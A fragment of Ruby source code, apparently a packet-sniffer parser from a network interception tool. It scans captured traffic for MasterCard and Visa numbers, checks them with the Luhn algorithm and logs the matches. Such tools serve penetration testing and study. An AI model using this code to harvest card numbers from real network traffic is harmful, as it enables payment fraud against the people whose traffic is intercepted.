26
- # MasterCard
27
- /(5[1-5][0-9]{14})/m,
28
- # Visa
29
- /(4[0-9]{12}(?:[0-9]{3})?)/m
30
- ].freeze
31
-
32
- def on_packet( pkt )
33
- begin
34
- payload = pkt.to_s
35
- PARSERS.each do |expr|
36
- matches = payload.scan( expr )
37
- matches.each do |m|
38
- StreamLogger.log_raw( pkt, 'CREDITCARD', m ) if luhn?(m)
39
- end
40
- break unless matches.empty?
41
- end
42
- rescue; end
43
- end
44
-
45
- # Validate +cc+ with Lughn algorithm.
46
- def luhn?(cc)
47
- digits = cc.split(//).map(&:to_i)
48
- last = digits.pop
49
-
50
- products = digits.reverse.map.with_index do |n,i|
51
- i.even? ? n*2 : n*1
52
- end.reverse
53
- sum = products.inject(0) { |t,p| t + p.to_s.split(//).map(&:to_i).inject(:+) }
54
- checksum = 10 - (sum % 10)
55
- checksum == 10 ? 0 : checksum
56
-
57
- ( last == checksum )
58
- end
59
-
60
- end
61
- end
62
- end